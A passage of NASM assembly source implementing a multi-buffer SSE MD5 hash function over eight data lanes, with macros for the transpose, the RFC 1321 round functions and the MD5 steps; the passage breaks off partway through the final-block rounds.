; "transpose" data in {r0..r3} using temps {t0..t3}
; Input looks like: {r0 r1 r2 r3}
; r0 = {a3 a2 a1 a0}
; r1 = {b3 b2 b1 b0}
; r2 = {c3 c2 c1 c0}
; r3 = {d3 d2 d1 d0}
;
; output looks like: {t0 r1 r0 r3}
; t0 = {d0 c0 b0 a0}
; r1 = {d1 c1 b1 a1}
; r0 = {d2 c2 b2 a2}
; r3 = {d3 c3 b3 a3}
;
%macro TRANSPOSE 6
%define %%r0 %1
%define %%r1 %2
%define %%r2 %3
%define %%r3 %4
%define %%t0 %5
%define %%t1 %6
movdqa %%t0, %%r0
shufps %%t0, %%r1, 0x44 ; t0 = {b1 b0 a1 a0}
shufps %%r0, %%r1, 0xEE ; r0 = {b3 b2 a3 a2}
movdqa %%t1, %%r2
shufps %%t1, %%r3, 0x44 ; t1 = {d1 d0 c1 c0}
shufps %%r2, %%r3, 0xEE ; r2 = {d3 d2 c3 c2}
movdqa %%r1, %%t0
shufps %%r1, %%t1, 0xDD ; r1 = {d1 c1 b1 a1}
movdqa %%r3, %%r0
shufps %%r3, %%r2, 0xDD ; r3 = {d3 c3 b3 a3}
shufps %%r0, %%r2, 0x88 ; r0 = {d2 c2 b2 a2}
shufps %%t0, %%t1, 0x88 ; t0 = {d0 c0 b0 a0}
%endmacro
;;
;; Magic functions defined in RFC 1321
;;
; macro MAGIC_F F,X,Y,Z ;; F = ((Z) ^ ((X) & ((Y) ^ (Z))))
%macro MAGIC_F 4
%define %%F %1
%define %%X %2
%define %%Y %3
%define %%Z %4
movdqa %%F,%%Z
pxor %%F,%%Y
pand %%F,%%X
pxor %%F,%%Z
%endmacro
; macro MAGIC_G F,X,Y,Z ;; F = F((Z),(X),(Y))
%macro MAGIC_G 4
%define %%F %1
%define %%X %2
%define %%Y %3
%define %%Z %4
MAGIC_F %%F,%%Z,%%X,%%Y
%endmacro
; macro MAGIC_H F,X,Y,Z ;; F = ((X) ^ (Y) ^ (Z))
%macro MAGIC_H 4
%define %%F %1
%define %%X %2
%define %%Y %3
%define %%Z %4
movdqa %%F,%%Z
pxor %%F,%%Y
pxor %%F,%%X
%endmacro
; macro MAGIC_I F,X,Y,Z ;; F = ((Y) ^ ((X) | ~(Z)))
%macro MAGIC_I 4
%define %%F %1
%define %%X %2
%define %%Y %3
%define %%Z %4
movdqa %%F,%%Z
pxor %%F,[ONES] ; pnot %%F
por %%F,%%X
pxor %%F,%%Y
%endmacro
; PROLD reg, imm, tmp
%macro PROLD 3
%define %%reg %1
%define %%imm %2
%define %%tmp %3
movdqa %%tmp, %%reg
psrld %%tmp, (32-%%imm)
pslld %%reg, %%imm
por %%reg, %%tmp
%endmacro
;;
;; single MD5 step
;;
;; A = B +ROL32((A +MAGIC(B,C,D) +data +const), nrot)
;;
; macro MD5_STEP1 MAGIC_FUN, A,B,C,D, A2,B2,C3,D2, FUN, TMP, data, MD5const, nrot
%macro MD5_STEP1 14
%define %%MAGIC_FUN %1
%define %%A %2
%define %%B %3
%define %%C %4
%define %%D %5
%define %%A2 %6
%define %%B2 %7
%define %%C2 %8
%define %%D2 %9
%define %%FUN %10
%define %%TMP %11
%define %%data %12
%define %%MD5const %13
%define %%nrot %14
paddd %%A, %%MD5const
paddd %%A2, %%MD5const
paddd %%A, [%%data]
paddd %%A2, [%%data + 16*16]
%%MAGIC_FUN %%FUN, %%B,%%C,%%D
paddd %%A, %%FUN
%%MAGIC_FUN %%FUN, %%B2,%%C2,%%D2
paddd %%A2, %%FUN
PROLD %%A,%%nrot, %%TMP
PROLD %%A2,%%nrot, %%TMP
paddd %%A, %%B
paddd %%A2, %%B2
%endmacro
;;
;; single MD5 step
;;
;; A = B +ROL32((A +MAGIC(B,C,D) +data +const), nrot)
;;
; macro MD5_STEP MAGIC_FUN, A,B,C,D, A2,B2,C3,D2, FUN, TMP, FUN2, TMP2, data,
; MD5const, nrot
%macro MD5_STEP 16
%define %%MAGIC_FUN %1
%define %%A %2
%define %%B %3
%define %%C %4
%define %%D %5
%define %%A2 %6
%define %%B2 %7
%define %%C2 %8
%define %%D2 %9
%define %%FUN %10
%define %%TMP %11
%define %%FUN2 %12
%define %%TMP2 %13
%define %%data %14
%define %%MD5const %15
%define %%nrot %16
paddd %%A, %%MD5const
paddd %%A2, %%MD5const
paddd %%A, [%%data]
paddd %%A2, [%%data + 16*16]
%%MAGIC_FUN %%FUN, %%B,%%C,%%D
%%MAGIC_FUN %%FUN2, %%B2,%%C2,%%D2
paddd %%A, %%FUN
paddd %%A2, %%FUN2
PROLD %%A,%%nrot, %%TMP
PROLD %%A2,%%nrot, %%TMP2
paddd %%A, %%B
paddd %%A2, %%B2
%endmacro
;;
;; MD5 left rotations (number of bits)
;;
rot11 equ 7
rot12 equ 12
rot13 equ 17
rot14 equ 22
rot21 equ 5
rot22 equ 9
rot23 equ 14
rot24 equ 20
rot31 equ 4
rot32 equ 11
rot33 equ 16
rot34 equ 23
rot41 equ 6
rot42 equ 10
rot43 equ 15
rot44 equ 21
%define A xmm0
%define B xmm1
%define C xmm2
%define D xmm3
%define E xmm4 ; tmp
%define F xmm5 ; tmp
%define A2 xmm6
%define B2 xmm7
%define C2 xmm8
%define D2 xmm9
%define FUN E
%define TMP F
%define FUN2 xmm10
%define TMP2 xmm11
%define T0 xmm10
%define T1 xmm11
%define T2 xmm12
%define T3 xmm13
%define T4 xmm14
%define T5 xmm15
%ifidn __OUTPUT_FORMAT__, elf64
;; Linux Registers
%define arg1 rdi
%define arg2 rsi
%define inp7 rcx
%define mem1 rdx
%else
;; Windows Registers
%define arg1 rcx
%define arg2 rdx
%define inp7 rdi
%define mem1 rsi
%endif
; r8 is not used
; Common definitions
%define inp0 r9
%define inp1 r10
%define inp2 r11
%define inp3 r12
%define inp4 r13
%define inp5 r14
%define inp6 r15
%define TBL rax
%define IDX rbx
%define mem2 rbp
; Stack Layout
;
; 470 DD2
; 460 CC2
; 450 BB2
; 440 AA2
; 430 DD
; 420 CC
; 410 BB
; 400 AA
;
; 3F0 data2[15] for lanes 7...4 \
; ... \
; 300 data2[0] for lanes 7...4 \
; 2F0 data2[15] for lanes 3...0 > mem block 2
; ... /
; 210 data2[1] for lanes 3...0 /
; 200 data2[0] for lanes 3...0 /
;
; 1F0 data1[15] for lanes 7...4 \
; ... \
; 100 data1[0] for lanes 7...4 \
; F0 data1[15] for lanes 3...0 > mem block 1
; ... /
; 10 data1[1] for lanes 3...0 /
; 0 data1[0] for lanes 3...0 /
MEM equ 16*16*2*2 ; two blocks of data stored in stack
; STACK_SIZE must be an odd multiple of 8 bytes in size
STACK_SIZE equ MEM + 16*8 + 8
%define AA rsp + MEM + 16*0
%define BB rsp + MEM + 16*1
%define CC rsp + MEM + 16*2
%define DD rsp + MEM + 16*3
%define AA2 rsp + MEM + 16*4
%define BB2 rsp + MEM + 16*5
%define CC2 rsp + MEM + 16*6
%define DD2 rsp + MEM + 16*7
;;%define DIGEST_SIZE (8*4*4) ; 8 streams x 4 32bit words per digest x 4 bytes per word
;#define NUM_MD5_DIGEST_WORDS 4
;#define NUM_LANES 8
;#define MD5_BLOCK_SIZE 64
;
;typedef UINT32 digest_array[NUM_MD5_DIGEST_WORDS][NUM_LANES];
;
;typedef struct {
; DECLARE_ALIGNED(digest_array digest, 16);
; UINT8* data_ptr[NUM_LANES];
;} MD5_ARGS_X8;
; void md5_mb_x4x2_sse(MD5_ARGS_X8 *args, UINT64 size)
; arg 1 : pointer to MD5_ARGS_X8 structure
; arg 2 : size (in blocks) ;; assumed to be >= 1
;
; arg1 and r8 are maintained by this function
;
align 32
global md5_mb_x4x2_sse:function internal
md5_mb_x4x2_sse:
sub rsp, STACK_SIZE
;; Initialize digests
movdqu A,[arg1+0*16]
movdqu B,[arg1+2*16]
movdqu C,[arg1+4*16]
movdqu D,[arg1+6*16]
;; Initialize digests
movdqu A2,[arg1+1*16]
movdqu B2,[arg1+3*16]
movdqu C2,[arg1+5*16]
movdqu D2,[arg1+7*16]
lea TBL, [MD5_TABLE]
;; load input pointers
mov inp0,[arg1 + _data_ptr + 0*8]
mov inp1,[arg1 + _data_ptr + 1*8]
mov inp2,[arg1 + _data_ptr + 2*8]
mov inp3,[arg1 + _data_ptr + 3*8]
mov inp4,[arg1 + _data_ptr + 4*8]
mov inp5,[arg1 + _data_ptr + 5*8]
mov inp6,[arg1 + _data_ptr + 6*8]
mov inp7,[arg1 + _data_ptr + 7*8]
xor IDX, IDX
; Make ping-pong pointers to the two memory blocks
mov mem1, rsp
lea mem2, [rsp + 16*16*2]
;; Load first block of data and save back to stack
%assign I 0
%rep 4
movdqu T2,[inp0+IDX+I*16]
movdqu T1,[inp1+IDX+I*16]
movdqu T4,[inp2+IDX+I*16]
movdqu T3,[inp3+IDX+I*16]
TRANSPOSE T2, T1, T4, T3, T0, T5
movdqa [mem1+(I*4+0)*16],T0
movdqa [mem1+(I*4+1)*16],T1
movdqa [mem1+(I*4+2)*16],T2
movdqa [mem1+(I*4+3)*16],T3
movdqu T2,[inp4+IDX+I*16]
movdqu T1,[inp5+IDX+I*16]
movdqu T4,[inp6+IDX+I*16]
movdqu T3,[inp7+IDX+I*16]
TRANSPOSE T2, T1, T4, T3, T0, T5
movdqa [mem1+(I*4+0)*16 + 16*16],T0
movdqa [mem1+(I*4+1)*16 + 16*16],T1
movdqa [mem1+(I*4+2)*16 + 16*16],T2
movdqa [mem1+(I*4+3)*16 + 16*16],T3
%assign I (I+1)
%endrep
lloop:
; save old digests
movdqa [AA], A
movdqa [BB], B
movdqa [CC], C
movdqa [DD], D
; save old digests
movdqa [AA2], A2
movdqa [BB2], B2
movdqa [CC2], C2
movdqa [DD2], D2
add IDX, 4*16
sub arg2, 1
je lastblock
MD5_STEP1 MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 + 0*16, [TBL+ 0*16], rot11
MD5_STEP1 MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 + 1*16, [TBL+ 1*16], rot12
MD5_STEP1 MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 + 2*16, [TBL+ 2*16], rot13
MD5_STEP1 MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 + 3*16, [TBL+ 3*16], rot14
MD5_STEP1 MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 + 4*16, [TBL+ 4*16], rot11
MD5_STEP1 MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 + 5*16, [TBL+ 5*16], rot12
MD5_STEP1 MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 + 6*16, [TBL+ 6*16], rot13
MD5_STEP1 MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 + 7*16, [TBL+ 7*16], rot14
%assign I 0
movdqu T2,[inp0+IDX+I*16]
movdqu T1,[inp1+IDX+I*16]
movdqu T4,[inp2+IDX+I*16]
movdqu T3,[inp3+IDX+I*16]
TRANSPOSE T2, T1, T4, T3, T0, T5
movdqa [mem2+(I*4+0)*16],T0
movdqa [mem2+(I*4+1)*16],T1
movdqa [mem2+(I*4+2)*16],T2
movdqa [mem2+(I*4+3)*16],T3
MD5_STEP1 MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 + 8*16, [TBL+ 8*16], rot11
MD5_STEP1 MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 + 9*16, [TBL+ 9*16], rot12
MD5_STEP1 MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 +10*16, [TBL+10*16], rot13
MD5_STEP1 MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 +11*16, [TBL+11*16], rot14
MD5_STEP1 MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 +12*16, [TBL+12*16], rot11
MD5_STEP1 MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 +13*16, [TBL+13*16], rot12
MD5_STEP1 MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 +14*16, [TBL+14*16], rot13
MD5_STEP1 MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 +15*16, [TBL+15*16], rot14
movdqu T2,[inp4+IDX+I*16]
movdqu T1,[inp5+IDX+I*16]
movdqu T4,[inp6+IDX+I*16]
movdqu T3,[inp7+IDX+I*16]
TRANSPOSE T2, T1, T4, T3, T0, T5
movdqa [mem2+(I*4+0)*16 + 16*16],T0
movdqa [mem2+(I*4+1)*16 + 16*16],T1
movdqa [mem2+(I*4+2)*16 + 16*16],T2
movdqa [mem2+(I*4+3)*16 + 16*16],T3
%assign I (I+1)
MD5_STEP1 MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 + 1*16, [TBL+16*16], rot21
MD5_STEP1 MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 + 6*16, [TBL+17*16], rot22
MD5_STEP1 MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 +11*16, [TBL+18*16], rot23
MD5_STEP1 MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 + 0*16, [TBL+19*16], rot24
MD5_STEP1 MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 + 5*16, [TBL+20*16], rot21
MD5_STEP1 MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 +10*16, [TBL+21*16], rot22
MD5_STEP1 MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 +15*16, [TBL+22*16], rot23
MD5_STEP1 MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 + 4*16, [TBL+23*16], rot24
movdqu T2,[inp0+IDX+I*16]
movdqu T1,[inp1+IDX+I*16]
movdqu T4,[inp2+IDX+I*16]
movdqu T3,[inp3+IDX+I*16]
TRANSPOSE T2, T1, T4, T3, T0, T5
movdqa [mem2+(I*4+0)*16],T0
movdqa [mem2+(I*4+1)*16],T1
movdqa [mem2+(I*4+2)*16],T2
movdqa [mem2+(I*4+3)*16],T3
MD5_STEP1 MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 + 9*16, [TBL+24*16], rot21
MD5_STEP1 MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 +14*16, [TBL+25*16], rot22
MD5_STEP1 MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 + 3*16, [TBL+26*16], rot23
MD5_STEP1 MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 + 8*16, [TBL+27*16], rot24
MD5_STEP1 MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 +13*16, [TBL+28*16], rot21
MD5_STEP1 MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 + 2*16, [TBL+29*16], rot22
MD5_STEP1 MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 + 7*16, [TBL+30*16], rot23
MD5_STEP1 MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 +12*16, [TBL+31*16], rot24
movdqu T2,[inp4+IDX+I*16]
movdqu T1,[inp5+IDX+I*16]
movdqu T4,[inp6+IDX+I*16]
movdqu T3,[inp7+IDX+I*16]
TRANSPOSE T2, T1, T4, T3, T0, T5
movdqa [mem2+(I*4+0)*16 + 16*16],T0
movdqa [mem2+(I*4+1)*16 + 16*16],T1
movdqa [mem2+(I*4+2)*16 + 16*16],T2
movdqa [mem2+(I*4+3)*16 + 16*16],T3
%assign I (I+1)
MD5_STEP1 MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 + 5*16, [TBL+32*16], rot31
MD5_STEP1 MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 + 8*16, [TBL+33*16], rot32
MD5_STEP1 MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 +11*16, [TBL+34*16], rot33
MD5_STEP1 MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 +14*16, [TBL+35*16], rot34
MD5_STEP1 MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 + 1*16, [TBL+36*16], rot31
MD5_STEP1 MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 + 4*16, [TBL+37*16], rot32
MD5_STEP1 MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 + 7*16, [TBL+38*16], rot33
MD5_STEP1 MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 +10*16, [TBL+39*16], rot34
movdqu T2,[inp0+IDX+I*16]
movdqu T1,[inp1+IDX+I*16]
movdqu T4,[inp2+IDX+I*16]
movdqu T3,[inp3+IDX+I*16]
TRANSPOSE T2, T1, T4, T3, T0, T5
movdqa [mem2+(I*4+0)*16],T0
movdqa [mem2+(I*4+1)*16],T1
movdqa [mem2+(I*4+2)*16],T2
movdqa [mem2+(I*4+3)*16],T3
MD5_STEP1 MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 +13*16, [TBL+40*16], rot31
MD5_STEP1 MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 + 0*16, [TBL+41*16], rot32
MD5_STEP1 MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 + 3*16, [TBL+42*16], rot33
MD5_STEP1 MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 + 6*16, [TBL+43*16], rot34
MD5_STEP1 MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 + 9*16, [TBL+44*16], rot31
MD5_STEP1 MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 +12*16, [TBL+45*16], rot32
MD5_STEP1 MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 +15*16, [TBL+46*16], rot33
MD5_STEP1 MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 + 2*16, [TBL+47*16], rot34
movdqu T2,[inp4+IDX+I*16]
movdqu T1,[inp5+IDX+I*16]
movdqu T4,[inp6+IDX+I*16]
movdqu T3,[inp7+IDX+I*16]
TRANSPOSE T2, T1, T4, T3, T0, T5
movdqa [mem2+(I*4+0)*16 + 16*16],T0
movdqa [mem2+(I*4+1)*16 + 16*16],T1
movdqa [mem2+(I*4+2)*16 + 16*16],T2
movdqa [mem2+(I*4+3)*16 + 16*16],T3
%assign I (I+1)
MD5_STEP1 MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 + 0*16, [TBL+48*16], rot41
MD5_STEP1 MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 + 7*16, [TBL+49*16], rot42
MD5_STEP1 MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 +14*16, [TBL+50*16], rot43
MD5_STEP1 MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 + 5*16, [TBL+51*16], rot44
MD5_STEP1 MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 +12*16, [TBL+52*16], rot41
MD5_STEP1 MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 + 3*16, [TBL+53*16], rot42
MD5_STEP1 MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 +10*16, [TBL+54*16], rot43
MD5_STEP1 MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 + 1*16, [TBL+55*16], rot44
movdqu T2,[inp0+IDX+I*16]
movdqu T1,[inp1+IDX+I*16]
movdqu T4,[inp2+IDX+I*16]
movdqu T3,[inp3+IDX+I*16]
TRANSPOSE T2, T1, T4, T3, T0, T5
movdqa [mem2+(I*4+0)*16],T0
movdqa [mem2+(I*4+1)*16],T1
movdqa [mem2+(I*4+2)*16],T2
movdqa [mem2+(I*4+3)*16],T3
MD5_STEP1 MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 + 8*16, [TBL+56*16], rot41
MD5_STEP1 MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 +15*16, [TBL+57*16], rot42
MD5_STEP1 MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 + 6*16, [TBL+58*16], rot43
MD5_STEP1 MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 +13*16, [TBL+59*16], rot44
MD5_STEP1 MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1 + 4*16, [TBL+60*16], rot41
MD5_STEP1 MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1 +11*16, [TBL+61*16], rot42
MD5_STEP1 MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1 + 2*16, [TBL+62*16], rot43
MD5_STEP1 MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1 + 9*16, [TBL+63*16], rot44
movdqu T2,[inp4+IDX+I*16]
movdqu T1,[inp5+IDX+I*16]
movdqu T4,[inp6+IDX+I*16]
movdqu T3,[inp7+IDX+I*16]
TRANSPOSE T2, T1, T4, T3, T0, T5
movdqa [mem2+(I*4+0)*16 + 16*16],T0
movdqa [mem2+(I*4+1)*16 + 16*16],T1
movdqa [mem2+(I*4+2)*16 + 16*16],T2
movdqa [mem2+(I*4+3)*16 + 16*16],T3
%assign I (I+1)
paddd A,[AA]
paddd B,[BB]
paddd C,[CC]
paddd D,[DD]
paddd A2,[AA2]
paddd B2,[BB2]
paddd C2,[CC2]
paddd D2,[DD2]
; swap mem1 and mem2
xchg mem1, mem2
jmp lloop
lastblock:
MD5_STEP MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 + 0*16, [TBL+ 0*16], rot11
MD5_STEP MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 + 1*16, [TBL+ 1*16], rot12
MD5_STEP MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 + 2*16, [TBL+ 2*16], rot13
MD5_STEP MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 + 3*16, [TBL+ 3*16], rot14
MD5_STEP MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 + 4*16, [TBL+ 4*16], rot11
MD5_STEP MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 + 5*16, [TBL+ 5*16], rot12
MD5_STEP MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 + 6*16, [TBL+ 6*16], rot13
MD5_STEP MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 + 7*16, [TBL+ 7*16], rot14
MD5_STEP MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 + 8*16, [TBL+ 8*16], rot11
MD5_STEP MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 + 9*16, [TBL+ 9*16], rot12
MD5_STEP MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 +10*16, [TBL+10*16], rot13
MD5_STEP MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 +11*16, [TBL+11*16], rot14
MD5_STEP MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 +12*16, [TBL+12*16], rot11
MD5_STEP MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 +13*16, [TBL+13*16], rot12
MD5_STEP MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 +14*16, [TBL+14*16], rot13
MD5_STEP MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 +15*16, [TBL+15*16], rot14
MD5_STEP MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 + 1*16, [TBL+16*16], rot21
MD5_STEP MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 + 6*16, [TBL+17*16], rot22
MD5_STEP MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 +11*16, [TBL+18*16], rot23
MD5_STEP MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 + 0*16, [TBL+19*16], rot24
MD5_STEP MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 + 5*16, [TBL+20*16], rot21
MD5_STEP MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 +10*16, [TBL+21*16], rot22
MD5_STEP MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 +15*16, [TBL+22*16], rot23
MD5_STEP MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 + 4*16, [TBL+23*16], rot24
MD5_STEP MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 + 9*16, [TBL+24*16], rot21
MD5_STEP MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 +14*16, [TBL+25*16], rot22
MD5_STEP MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 + 3*16, [TBL+26*16], rot23
MD5_STEP MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 + 8*16, [TBL+27*16], rot24
MD5_STEP MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 +13*16, [TBL+28*16], rot21
MD5_STEP MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 + 2*16, [TBL+29*16], rot22
MD5_STEP MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 + 7*16, [TBL+30*16], rot23
MD5_STEP MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 +12*16, [TBL+31*16], rot24
MD5_STEP MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 + 5*16, [TBL+32*16], rot31
MD5_STEP MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 + 8*16, [TBL+33*16], rot32
MD5_STEP MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 +11*16, [TBL+34*16], rot33
MD5_STEP MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 +14*16, [TBL+35*16], rot34
MD5_STEP MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 + 1*16, [TBL+36*16], rot31
MD5_STEP MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 + 4*16, [TBL+37*16], rot32
MD5_STEP MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 + 7*16, [TBL+38*16], rot33
MD5_STEP MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 +10*16, [TBL+39*16], rot34
MD5_STEP MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 +13*16, [TBL+40*16], rot31
MD5_STEP MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 + 0*16, [TBL+41*16], rot32
MD5_STEP MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 + 3*16, [TBL+42*16], rot33
MD5_STEP MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 + 6*16, [TBL+43*16], rot34
MD5_STEP MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 + 9*16, [TBL+44*16], rot31
MD5_STEP MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 +12*16, [TBL+45*16], rot32
MD5_STEP MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 +15*16, [TBL+46*16], rot33
MD5_STEP MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 + 2*16, [TBL+47*16], rot34
MD5_STEP MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 + 0*16, [TBL+48*16], rot41
MD5_STEP MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 + 7*16, [TBL+49*16], rot42
MD5_STEP MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 +14*16, [TBL+50*16], rot43
